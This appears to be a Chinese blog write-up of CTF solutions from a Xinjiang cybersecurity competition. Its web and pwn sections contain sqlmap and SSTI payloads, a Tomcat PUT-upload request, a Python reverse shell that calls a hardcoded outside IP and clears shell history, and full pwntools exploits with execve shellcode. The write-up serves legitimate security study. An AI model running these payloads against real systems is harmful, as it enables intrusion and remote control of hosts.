导航
导航
文章目录
  1. 前言
  2. 团体解题晋级赛
    1. Web
  3. [步骤]
  4. [分析]
    1. misc
  5. misc
    1. 密码
  6. 密码
  7. 个人和团体的re+pwn解题汇总
    1. re
  8. PWN

首届新疆网络安全知识技能竞赛(团体赛)

前言

第一天经历了个人解题晋级赛之后,第二天就是团体的解题赛,这一天管理相对第一天比较严一些,进行手机的提交要求,第一天虽然也提交了,明显还是有人使用手机开了热点。这一天的刷题还算是比较顺利,web题目就一道大家都没有解出来之外,其他的也全部搞定。

团体解题晋级赛

有了第一天的经历之后,这次相对的把自己的节奏和心态都稍微的进行调整,解题中相对还算是比较顺利,两个队伍都挺进了决赛。

Web

  • revenge_of_sql
    sql的复仇,应该是和sql注入有关,首先进行敏感目录扫描,发现.git源码泄露
    直接githack 发现 index.php文件存在 过滤空格的盲注注入,直接sqlmap 跑数据库但是发现没有
    sql
    sqlmap -r 1.txt –random-agent –dbms=mysql –tamper=space2comment.py -v 3 –sql-shell
    1
    2
    3
    4
    5
    available databases [4]:
    [*] information_schema
    [*] mysql
    [*] performance_schema
    [*] sql1

admin xman 登录进入 和源码的逻辑相同没有显示
sql
也可以手工注入登录
Username='/**/union/**/select('202cb962ac59075b964b07152d234b70')#&password=123
最后分析一下git历史信息

sql
发现有flag22222.php
使用sqlmap 跑一下
sql

  • Web baby python
    没有啥思路,直接爆破url参数
    python
    发现出现花括号 会出现信息的不完整输出,那应该明确了考点,就是python web的模板注入,可以直接使用函数读文件
    也可以使用其他python 沙盒绕过
    1
    2
    {{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag').read() }}等python链进行代码的执行
    http://10.98.98.25:5554/404?msg='}}{{ open('/etc/passwd').read() }}

python
python

  • ezupload
    文件上传常规套路:直接大小写、javascript、 改后缀 、截断或这让js失效

upload
upload

  • http

    [步骤]

    访问发现提示 不是本地人,不允许访问, 于是修改xff为127.0.0.1或localhost伪造为本地
    伪造后提示未登录,查看cookie发现存在login=0的键值,将0修改为1得到flag

  • ezpentest

    [分析]

    这道题,没有队伍解出来,当时进行了目录的扫描,和nmap的扫描,发现了8080 端口tomcat,按题目的说明,应该是一个tomcat溢出漏洞,赛后讨论应该是
    CVE-2017-12617(远程代码执行漏洞)影响范围:

    1
    2
    3
    4
    5
    6
    7
    Apache Tomcat 9.0.0.M1-9.0.0

    Apache Tomcat 8.5.0-8.5.22

    Apache Tomcat 8.0.0.RC1-8.0.46

    Apache Tomcat 7.0.0-7.0.81

当时没有网,也就没有找到具体的payload ,可以参考P牛的vuln库 任意文件写入

1
2
3
4
5
6
7
8
9
10
PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

shell

  • Check in
    考察的是python的cPickle的反序列化漏洞
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# !/usr/bin/env python
# -*- coding:utf-8 -*-
import marshal
import base64
import cPickle
import urllib

def foo():#you should write your code in this function
import socket
import os,pty
def test(ip,port):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((ip,int(port)))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
shell= "/bin/sh"
os.unsetenv("HISTFILE")
os.unsetenv("HISTFILESIZE")
os.unsetenv("HISTSIZE")
os.unsetenv("HISTORY")
os.unsetenv("HISTSAVE")
os.unsetenv("HISTZONE")
os.unsetenv("HISTLOG")
os.unsetenv("HISTCMD")
os.putenv("HISTFILE",'/dev/null')
os.putenv("HISTSIZE",'0')
os.putenv("HISTFILESIZE",'0')
pty.spawn(shell)
s.close()
test('202.112.51.130',9999)

try:#尝试使用cPickle来序列号代码对象
cPickle.dumps(foo.func_code)
except Exception as e:
print e #TypeError: can't pickle code objects

code_serialized = base64.b64encode(marshal.dumps(foo.func_code))
print code_serialized

misc

  • 流量包解密02

    题目进行了说明,mac地址就是秘钥,国赛的题目也出现过,当时提取mac之后没有跑出来
    ,最会拼一下脑洞发现,爆破的时候的数据包的mac 地址就是密码
    提示是mac,尝试提取mac不行,结果就是脑洞
    1 B4:0B:44:C2:D5:FF xj WPA (1 handshake)

    cap
    然后发现就是dns apr 做中间人,做了个test.txt success.txt的测试
    就没有url了需要再次脑洞一下吧。还是那个师傅的blog
    cap
    说的是url flag{http://www.wiattack.net/test.txt}
  • 如来十三掌
    1
    夜哆悉諳多苦奢陀奢諦冥神哆盧穆皤三侄三即諸諳即冥迦冥隸數顛耶迦奢若吉怯陀諳怖奢智侄諸若奢數菩奢集遠俱老竟寫明奢若梵等盧皤豆蒙密離怯婆皤礙他哆提哆多缽以南哆心曰姪罰蒙呐神。舍切真怯勝呐得俱沙罰娑是怯遠得呐數罰輸哆遠薩得槃漫夢盧皤亦醯呐娑皤瑟輸諳尼摩罰薩冥大倒參夢侄阿心罰等奢大度地冥殿皤沙蘇輸奢恐豆侄得罰提哆伽諳沙楞缽三死怯摩大蘇者數一遮

与佛论禅解密:
MzkuM3gvMUAwnzuvn3cgozMlMTuvqzAenJchMUAeqzWenzEmLJW9
尝试base64解密失败,继续尝试,发现先rot13,在base64
ZmxhZ3tiZHNjamhia3ptbmZyZGhidmNraWpuZHNrdmJramRzYWJ9
flag{bdscjhbkzmnfrdhbvckijndskvbkjdsab}

  • Find_your_flag
    是一个内存取证的题目
    Volatility工具安排一下

    遍历文件找一找flag

    导出文件发现需要密码,根据提示猜测密码可能在剪切板

  • 倍四家族
    这个题是一个7z的带密码的压缩包,想推导密码,你需要点脑洞,根据题目和压缩包,发现密码是flag字符的base64编码,解密出flag.txt

    最后写一个脚本进行每一行的解密(参考官方wp)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
def get_base64_diff_value(s1, s2):
base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
res = 0
for i in xrange(len(s1)):
if s1[i] != s2[i]:
return abs(base64chars.index(s1[i]) - base64chars.index(s2[i]))
return res

def solve_stego():
with open('flag.txt', 'rb') as f:
file_lines = f.readlines()

bin_str = ''
for line in file_lines:
steg_line = line.replace('\n', '')
norm_line = line.replace('\n', '').decode('base64').encode('base64').replace('\n', '')

diff = get_base64_diff_value(steg_line, norm_line)
pads_num = steg_line.count('=')
if diff:
bin_str += bin(diff)[2:].zfill(pads_num * 2)
else:
bin_str += '0' * pads_num * 2

res_str = ''
for i in xrange(0, len(bin_str), 8):
res_str += chr(int(bin_str[i:i+8], 2))
print res_str

solve_stego()

得到

1
W^7?+dv|4DVs&z9Wn^D$Z+2y0W?^k<Y<XW~X>)U7bZK*DVPkY<WPJ
  • 猜测是base85,python跑一下
1
2
3
4
In [1]: import base64

In [2]: base64.b85decode(b'W^7?+dv|4DVs&z9Wn^D$Z+2y0W?^k<Y<XW~X>)U7bZK*DVPkY<WPJ')
Out[2]: b'flag{we_buried_love_family_dissatisfacted}'

密码

  • short_story
    一个doc文档,字体有点高低和一个隐藏的矩阵,应该是hill加密
1
2
3
4
美国代表团访华时曾有一名官员当着周总理的面说中国人很喜欢低着头走路而我们美国人却总是抬着头走路周总理不慌不忙脸带微笑地说这并不奇怪因为我们中国人喜欢走上坡路而你们美国人喜欢走下坡路

AABBBBAAABBABBAAAABBAABBBBAAABBBAAAAABBAAAABABAAAABABBAAAABBAAAABABBABABABAABABBAAAABABABA
hrwdhrygcqwdbnklbk
  1. 继续从文档中获得密钥。文档末尾隐藏了一个矩阵,选中更改字体颜色后可以看到。根据这个矩阵,联想到hill加密

先根据密钥矩阵计算逆矩阵,将密文按照2个2个分组,与逆矩阵右乘得到明文。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# coding:UTF-8
key = [-7,2,4,-1]
m = "hrwdhrygcqwdbnklbk"

c= []
for x in range(len(m)):
if(m[x]>='a'and x<='z'):
print ord(m[x])-97
c.append(ord(m[x])-97)
print c

temp = []

for i in range(0,len(c),2):
temp.append(chr(((key[0] * c[i]+key[1] * c[i+1])%26)+97))
temp.append(chr(((key[2] * c[i] + key[3] * c[i+1])%26)+97))

temp = ''.join(temp)
print temp[::-1]

得到llihllamssihtrednu

题目中说“走下坡路”,所以想到字符串经过反向处理。

得到flag{underthissmallhill}。

  • weak_des
    给出了加密代码
    参考0xptdg战队的py
    1
    2
    3
    4
    5
    6
    7
    8
    #coding:utf-8
    from Crypto.Cipher import DES
    import libnum
    ct=open('ciphertext','rb').read()
    KEY=libnum.n2s(0xe0e0e0e0f1f1f1f1)
    IV='13245678'
    a=DES.new(KEY,DES.MODE_OFB,IV)
    print a.decrypt(ct)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
The furthest distance in the world

Is not between life and death
But when I stand infront of you
Yet you don't know that I love you

Is not when I stand infront of you
Yet you can't see my love
But when undoubtedly knowing the love from both
Yet can not be together

Is not being apart while being in love
But when painly cannot resist the yearning
Yet pretending you have never been in my heart

Is not when painly can not resist the yearning
yet pretending you have never been in my heart
but using one's in different heart
To dig an uncrossable river
For the one who loves you

flag{_poor_single_dog_has_found_an_echo_from_it}

个人和团体的re+pwn解题汇总

re

  • easy-compare
    jadx先打开看MainActivity
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class MainActivity extends AppCompatActivity {
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView((int) R.layout.activity_main);
((Button) findViewById(R.id.button)).setOnClickListener(new OnClickListener() {
public void onClick(View v) {
if (Check.checkflag(((EditText) MainActivity.this.findViewById(R.id.editText)).getText().toString())) {
Toast.makeText(MainActivity.this, "you are right~!", 1).show();
} else {
Toast.makeText(MainActivity.this, "wrong!", 1).show();
}
}
});
}
}

调用了so中的Check.checkflag函数校验flag,定位到so中的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
signed int __fastcall Java_com_testjava_jack_fakefunc_Check_checkflag(int a1)
{
signed int v1; // r4
const char *v2; // r5

v1 = 0;
v2 = (const char *)(*(int (**)(void))(*(_DWORD *)a1 + 676))();
j_getKey();
_android_log_print(4, "INJECT", "asdasd");
if ( !strcmp(v2, "this_is_easy_so") )
v1 = 1;
return v1;
}

发现是与一个固定的字符串对比

但是尝试一下程序中提交this_is_easy_so并不对,查看导出表信息,发现存在init_arrary里面对strcmp进行了Inline hook,定位到fake function。发现是aes,key就是动态解密的固定base64字符串。解密得到flag

  • Get-A-Way
    shell这个二进制数据是一段shellcode,先写程序把它Load起来
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
FILE *fp = fopen("file.bin", "rb");
if (fp)
{
fseek(fp, 0, SEEK_END);
DWORD dwSize = ftell(fp);
fseek(fp, 0, SEEK_SET);
LPVOID pAddr = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
fread(pAddr, dwSize, 1, fp);
fclose(fp);
__asm
{
mov eax, pAddr;
call eax;
}
}

提示输入key,随便输入一个

1
2
3
F:\Project\LoadShell.exe
please input your answer:asdsd
wrong way

od载入看下

跟踪会发现在0x10000000地址释放出主要模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
100010CD    85C0            test eax,eax
100010CF 74 11 je short 100010E2
100010D1 B9 19000000 mov ecx,0x19
100010D6 BE C0710110 mov esi,0x100171C0
100010DB BF 30720110 mov edi,0x10017230
100010E0 F3:A5 rep movs dword ptr es:[edi],dword ptr ds>
100010E2 68 58440110 push 0x10014458 ; ASCII "please input your answer:"
100010E7 E8 48170000 call 10002834
100010EC 83C4 04 add esp,0x4
100010EF C64424 10 00 mov byte ptr ss:[esp+0x10],0x0
100010F4 8D4424 11 lea eax,dword ptr ss:[esp+0x11]
100010F8 6A 63 push 0x63
100010FA 6A 00 push 0x0
100010FC 50 push eax
100010FD E8 AE660000 call 100077B0
10001102 83C4 0C add esp,0xC
10001105 8D4424 10 lea eax,dword ptr ss:[esp+0x10]
10001109 50 push eax
1000110A 68 74440110 push 0x10014474 ; ASCII "%s"

在此处下断点分析发现是个迷宫问题,dump下迷宫来

1
2
3
4
5
6
7
8
{
0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00,
0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01,
0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x00, 0x01};

按照迷宫得到的解并不对,我们仔细查看内存发现调用了一些反调试的函数,根据回溯,回溯到

1
2
3
4
5
6
7
100010C2   /0F85 D8000000   jnz 100011A0
100010C8 |E8 B3130000 call 10002480
100010CD |85C0 test eax,eax
100010CF |74 11 je short 100010E2
100010D1 |B9 19000000 mov ecx,0x19
100010D6 |BE C0710110 mov esi,0x100171C0
100010DB |BF 30720110 mov edi,0x10017230

这里会因为反调试来修改迷宫数组,在修改之前dump真正的迷宫

1
2
3
4
01 00 01 01 01 01 01 01 01 01 01 00 01 00 00 00 01 01 01 01 01 00 00 00 01 00 01 01 01 01 01 01
01 01 01 00 01 01 01 01 01 01 01 01 00 00 00 00 00 01 01 01 01 01 00 01 01 01 00 01 01 01 01 01
01 00 00 00 00 01 01 01 01 01 01 00 01 01 01 01 01 01 01 01 01 00 00 00 00 01 01 01 01 01 01 01
01 01 00 01

得到解

ssddwddsssdddssaaassddds

输入得到flag

81dsa65edckyqutiaghjw3w2

  • LoginToMe
    拖入ida看下就这么些代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
unsigned __int16 s; // [rsp+10h] [rbp-70h]
unsigned __int16 v6; // [rsp+12h] [rbp-6Eh]
int v7; // [rsp+14h] [rbp-6Ch]
int v8; // [rsp+18h] [rbp-68h]
unsigned __int16 v9; // [rsp+1Ch] [rbp-64h]
unsigned __int16 v10; // [rsp+1Eh] [rbp-62h]
unsigned __int16 v11; // [rsp+20h] [rbp-60h]
unsigned __int16 v12; // [rsp+22h] [rbp-5Eh]
int v13; // [rsp+70h] [rbp-10h]
int v14; // [rsp+74h] [rbp-Ch]
int v15; // [rsp+78h] [rbp-8h]
int i; // [rsp+7Ch] [rbp-4h]

memset(&s, 0, 0x60uLL);
v13 = 0;
printf("input:", argv, &v14, argv);
__isoc99_scanf("%s", &s);
if ( strlen((const char *)&s) == 20 )
{
v3 = time(0LL);
srand(v3);
v15 = rand() % 100;
for ( i = 0; i < v15; ++i )
;
if ( s * v6 != 342772773
|| s + v6 != 39526
|| v7 - v8 != 1005712381
|| (unsigned __int16)v7 + HIWORD(v7) != 56269
|| (unsigned __int16)v8 - HIWORD(v8) != 15092
|| (char)v7 * (char)v8 != 0x29D6
|| SBYTE2(v7) * SBYTE2(v8) != 12051
|| SHIBYTE(v7) + SHIBYTE(v8) != 172
|| v9 * v10 != 171593250
|| v9 + v10 != 26219
|| v11 * v12 != 376306868
|| v11 + v12 != 40341 )
{
puts("check failed~!");
}
else
{
puts("check ok~!");
}
}
return 1;
}

对输入的flag进行了条件判断,根据上述条件求解即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#-*- coding:utf-8 –*-
from z3 import *

#定义变量

a = Int('a')
b = Int('b')
c = Int('c')
d = Int('d')
e = Int('e')
f = Int('f')


m = Int('m')
n = Int('n')
p = Int('p')
q = Int('q')

solver = Solver()

# 设置变量范围

solver.add(a >= 0)
solver.add(b >= 0)
solver.add(a < 0xffff)
solver.add(b < 0xffff)
solver.add(c >= 0)
solver.add(d >= 0)
solver.add(c < 0xffff)
solver.add(d < 0xffff)

solver.add(e >= 0)
solver.add(f >= 0)
solver.add(e < 0xffff)
solver.add(f < 0xffff)


solver.add(m >= 0)
solver.add(n >= 0)
solver.add(m < 0xffffffff)
solver.add(n < 0xffffffff)



# 设置表达式

solver.add(a*b == 0x146E4C25)
solver.add(a+b == 0x9a66)
solver.add(c*d == 0xa3a4e22)
solver.add(c+d == 0x666b)
solver.add(e*f == 0x166dfcb4)
solver.add(e+f == 0x9d95)

solver.add(m-n == 0x3BF1F3FD)
solver.add(m%0x10000 +m/0x10000 ==0xDBCD)
solver.add(n%0x10000 -n/0x10000 ==0x3AF4)


#获取结果

print("solving...")

if(solver.check()==sat):
print solver.model()
1
2
3
4
5
6
7
8
[f = 14644,
b = 12849,
a = 26677,
d = 13625,
n = 947221353,
m = 1952933734,
c = 12594,
e = 25697]

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#-*- coding:utf-8 –*-
from z3 import *

#定义变量

a = Int('a')
b = Int('b')
c = Int('c')
d = Int('d')
e = Int('e')
f = Int('f')


m = Int('m')
n = Int('n')
p = Int('p')
q = Int('q')

solver = Solver()

# 设置变量范围

solver.add(a >= 0)
solver.add(b >= 0)
solver.add(a < 0xffff)
solver.add(b < 0xffff)
solver.add(c >= 0)
solver.add(d >= 0)
solver.add(c < 0xffff)
solver.add(d < 0xffff)

solver.add(e >= 0)
solver.add(f >= 0)
solver.add(e < 0xffff)
solver.add(f < 0xffff)


solver.add(m >= 0)
solver.add(n >= 0)
solver.add(m < 0xffffffff)
solver.add(n < 0xffffffff)



# 设置表达式

solver.add(a*b == 0x146E4C25)
solver.add(a+b == 0x9a66)
solver.add(c*d == 0xa3a4e22)
solver.add(c+d == 0x666b)
solver.add(e*f == 0x166dfcb4)
solver.add(e+f == 0x9d95)

solver.add(m-n == 0x3BF1F3FD)
solver.add(m%0x10000 +m/0x10000 ==0xDBCD)
solver.add(n%0x10000 -n/0x10000 ==0x3AF4)


#获取结果

print("solving...")

if(solver.check()==sat):
print solver.model()

  • 又拍苍蝇
    本题修改自山东省赛拍苍蝇,大大降低了难度,只需要将苍蝇拍完毕即可得到Flag。每个苍蝇中包含了一个secret值,当苍蝇被拍死的时候(对话框销毁的时候),才会初始化这个secret值,所以就算定位到了苍蝇是否死活的标志位进行强制修改也无效,当拍死的苍蝇数量达到24只的时候,会依次计算每个苍蝇携带的secret值,跟一个全局变量循环右移索引位,然后异或,然后根据索引从这个dowrd中取一位放到flag中。由于添加的花指令,所以需要先去除之后才方便分析,花指令特征

EB14EA50EB0BEA8BC4A8017406EB0BEA??660FD64424EBEBEEEA4C58

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

VAR CodeBase
VAR CodeSize

BPHWCALL
BPHWC
BC

GMI eip, CODEBASE
MOV CodeBase,$RESULT
GMI eip, CODESIZE
MOV CodeSize,$RESULT

var junk_addr

lab_find:
find CodeBase,#EB14EA50EB0BEA8BC4A8017406EB0BEA??660FD64424EBEBEEEA4C58#,CodeSize
mov junk_addr,$RESULT
cmp junk_addr,0
jz exit
MOV [junk_addr],#90909090909090909090909090909090909090909090909090909090#
jmp lab_find


exit:
RET

之后od就清晰了,根据success字符串定位到关键地方,cl是索引

1
2
3
4
5
6
7
8
9
10
11
12
13
14
012D30CD                      B8 775F123C     mov eax,0x3C125F77
012D30D2 D3C8 ror eax,cl
012D30D4 3382 E0000000 xor eax,dword ptr ds:[edx+0xE0]
012D30DA 8985 6CFFFFFF mov dword ptr ss:[ebp-0x94],eax
012D30E0 90 nop

012D3118 8BC1 mov eax,ecx
012D311A 25 03000080 and eax,0x80000003
012D311F 79 05 jns short Fly.012D3126
012D3121 48 dec eax
012D3122 83C8 FC or eax,0xFFFFFFFC
012D3125 40 inc eax
012D3126 8A8405 6CFFFFFF mov al,byte ptr ss:[ebp+eax-0x94]
012D312D 88840D 70FFFFFF mov byte ptr ss:[ebp+ecx-0x90],al

定位初始secret的地方

借助xspy定位消息响应函数

1
2
3
4
5
6
7
8
9
Message map: 0x0058880C (Fly3.exe+ 0x18880c )
Message map entries: 0x00588818 (Fly3.exe+ 0x188818 )
OnMsg:WM_TIMER(0113),func= 0x00404E30 (Fly3.exe+ 0x004e30 )
OnMsg:WM_LBUTTONDOWN(0201),func= 0x00405150 (Fly3.exe+ 0x005150 )
OnMsg:WM_LBUTTONUP(0202),func= 0x004051D0 (Fly3.exe+ 0x0051d0 )
OnMsg:WM_MOUSEHOVER(02a1),func= 0x004051E0 (Fly3.exe+ 0x0051e0 )
OnMsg:WM_MOUSELEAVE(02a3),func= 0x00405200 (Fly3.exe+ 0x005200 )
OnMsg:WM_MOUSEMOVE(0200),func= 0x00405220 (Fly3.exe+ 0x005220 )
OnMsg:WM_LBUTTONDBLCLK(0203),func= 0x004051D0 (Fly3.exe+ 0x0051d0 )

定位到数组dwKey

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void __thiscall CFlyWnd::OnLButtonDown(CFlyWnd *this, unsigned int nFlags, CPoint point)
{
CFlyWnd *v3; // esi
int v4; // eax
char szOut[100]; // [esp+4h] [ebp-68h]

v3 = this;
szOut[0] = 0;
v4 = this->nIndex;
this->is_death = 1;
this->secret = dwKey[v4];
memset(&szOut[1], 0, 0x63u);
_wsprintfA(szOut, "fly death %d", 1);
PostMessageW(v3->m_hWnd, 0x10u, 0, 0);
CWnd::Default((CWnd *)&v3->vfptr);
}
1
2
3
4
5
6
7
8
9
10
DWORD dwXorKey = 0x3c125f77;
DWORD dwKey[100] = { 0x59206b45, 0xfa6d1fde, 0xaa30f5ec, 0x81b4728a, 0x43a213cf, 0x8c85f3cc, 0xe8922b1c, 0xdf191586, 0x4158266a, 0xdfac3b1c, 0xb9ae65f1, 0xde83b273, 0x914ba440, 0xcb8ed8f4, 0x4beac32d, 0x8cd64e10, 0x6b120c25, 0x498df831, 0xa2b9f93d, 0x79d6d0e4, 0x47c640f0, 0xa0c3dbd6, 0x7b4def96, 0x158e8c4d };
char szResult[100] = { 0 };
for (int i = 0; i < 24; i++)
{
DWORD dwTmp = dwKey[i] ^ CROR(dwXorKey, i);

szResult[i] = (PBYTE(&dwTmp))[i % 4];
}
printf(szResult);

得到flag:204f8ab152a0e8627fd21b01

本题可以不去进项算法分析,直接模拟点击点掉所有苍蝇即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
BOOL CALLBACK EnumWindowProc(HWND hWnd, LPARAM lParam)
{
char szClassName[100] = { 0 };
GetClassName(hWnd, szClassName, 100);
RECT m_rect;
GetWindowRect(hWnd, &m_rect);
if (strcmp("#32770", szClassName) == 0 && m_rect.bottom - m_rect.top == 60 && m_rect.right - m_rect.left == 60)
{
SendMessage(hWnd, WM_LBUTTONDOWN, NULL, NULL);
}

return TRUE;
}

while (1)
{
//在某个函数里面调用
EnumWindows(EnumWindowProc, NULL);
Sleep(1000);
}

PWN

  • baby_stack
  • 没有输出无法leak,没有提供libc,有溢出,考虑ret2dl_resolve
  • 可以手组结构,仿造roputils写ret2dl_resolve函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#coding=utf8
from pwn import *
context.log_level = 'debug'

p = process('./babystack')
binary = ELF('./babystack')

def ret2dl_resolve(ELF_obj,func_name,resolve_addr,fake_stage,do_slim=1):
jmprel = ELF_obj.dynamic_value_by_tag("DT_JMPREL")#rel_plt
relent = ELF_obj.dynamic_value_by_tag("DT_RELENT")
symtab = ELF_obj.dynamic_value_by_tag("DT_SYMTAB")#dynsym
syment = ELF_obj.dynamic_value_by_tag("DT_SYMENT")
strtab = ELF_obj.dynamic_value_by_tag("DT_STRTAB")#dynstr
versym = ELF_obj.dynamic_value_by_tag("DT_VERSYM")#version
plt0 = ELF_obj.get_section_by_name('.plt').header.sh_addr

p_name = fake_stage+8-strtab
len_bypass_version = 8-(len(func_name)+1)%0x8
sym_addr_offset = fake_stage+8+(len(func_name)+1)+len_bypass_version-symtab

if sym_addr_offset%0x10 != 0:
if sym_addr_offset%0x10 == 8:
len_bypass_version+=8
sym_addr_offset = fake_stage+8+(len(func_name)+1)+len_bypass_version-symtab
else:
error('something error!')

fake_sym = sym_addr_offset/0x10

while True:
fake_ndx = u16(ELF_obj.read(versym+fake_sym*2,2))
if fake_ndx != 0:
fake_sym+=1
len_bypass_version+=0x10
continue
else:
break

if do_slim:
slim = len_bypass_version - len_bypass_version%8
version = len_bypass_version%8
resolve_data,resolve_call=ret2dl_resolve(ELF_obj,func_name,resolve_addr,fake_stage+slim,0)
return (resolve_data,resolve_call,fake_stage+slim)

fake_r_info = fake_sym<<8|0x7
reloc_offset=fake_stage-jmprel

resolve_data = p32(resolve_addr)+p32(fake_r_info)+func_name+'\x00'
resolve_data += 'a'*len_bypass_version
resolve_data += p32(p_name)+p32(0)+p32(0)+p32(0x12)

resolve_call = p32(plt0)+p32(reloc_offset)

return (resolve_data,resolve_call)

offset = 0x4c
stage = binary.bss()
p_ebx_ret = 0x080482c9
p3ret = 0x080484a9

dl_data,dl_call,stage = ret2dl_resolve(binary,'system',binary.bss()+0x200,stage)

pay = 'a'*offset
pay += p32(binary.plt['read'])+p32(p3ret)+p32(0)+p32(stage)+p32(len(dl_data)+8) #读40个字节到base_stage
pay += dl_call
pay += p32(p_ebx_ret)+p32(stage+len(dl_data))
#伪造条目
p.sendline(pay)

sleep(1)
p.send(dl_data+'/bin/sh\x00')
#调用system
p.interactive()
  • 也可用roputils简化脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#coding:utf-8
import sys
import roputils
from pwn import *

# context.log_level = 'debug'

p = process("./baby_stack")
elf = ELF("./baby_stack")

rop = roputils.ROP('./baby_stack')
stage = rop.section('.bss')

offset = 0x4c
vulFunc = 0x804840b

buf1 = 'A' * offset
buf1 += p32(elf.symbols['read']) + p32(vulFunc) + p32(0) + p32(stage) + p32(100)
p.send(buf1)

buf2 = rop.string('/bin/sh')
buf2 += rop.fill(20, buf2)
buf2 += rop.dl_resolve_data(stage+20, 'system')
buf2 += rop.fill(100, buf2)

p.send(buf2)

buf3 = "A"*offset + rop.dl_resolve_call(stage+20,stage)
p.send(buf3)

p.interactive()#coding:utf-8
import sys
import roputils
from pwn import *

# context.log_level = 'debug'

p = process("./baby_stack")
elf = ELF("./baby_stack")

rop = roputils.ROP('./baby_stack')
stage = rop.section('.bss')

offset = 0x4c
vulFunc = 0x804840b

buf1 = 'A' * offset
buf1 += p32(elf.symbols['read']) + p32(vulFunc) + p32(0) + p32(stage) + p32(100)
p.send(buf1)

buf2 = rop.string('/bin/sh')
buf2 += rop.fill(20, buf2)
buf2 += rop.dl_resolve_data(stage+20, 'system')
buf2 += rop.fill(100, buf2)

p.send(buf2)

buf3 = "A"*offset + rop.dl_resolve_call(stage+20,stage)
p.send(buf3)

p.interactive()
  • dragon_game
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

# context.log_level = 'debug'

p = process("./DragonGame")
p.recvuntil("secret[0] is ")

addr = int(p.recvuntil("\n")[:-1],16)
log.success("addr:"+hex(addr))

p.sendlineafter("west?:\n","east")
p.sendlineafter("address'\n",str(addr))

pause()

p.sendlineafter(" is:\n","%233c%7$n") #修改check[0]=233
shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05" #Linux/x64 Execute /bin/sh Shellcode
p.sendlineafter("SPELL\n", shellcode)
p.interactive()
  • easy_rop
  • 通过__libc_csu_init()函数来构造gadgets
  • 通过设置eax为59调用execve(‘/bin/sh’,NULL,NULL)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
import time

p = process("./easy_rop")
elf = ELF("./easy_rop")

syscall_addr = 0x400582
rop_addr1 = 0x4005fa #<__libc_csu_init+90>
rop_addr2 = 0x4005e0 #<__libc_csu_init+64>
bss_addr = 0x601040

offset = 0x18

#在bss段写入/bin/sh和syscall的地址
rop = ""
rop += offset*"A"
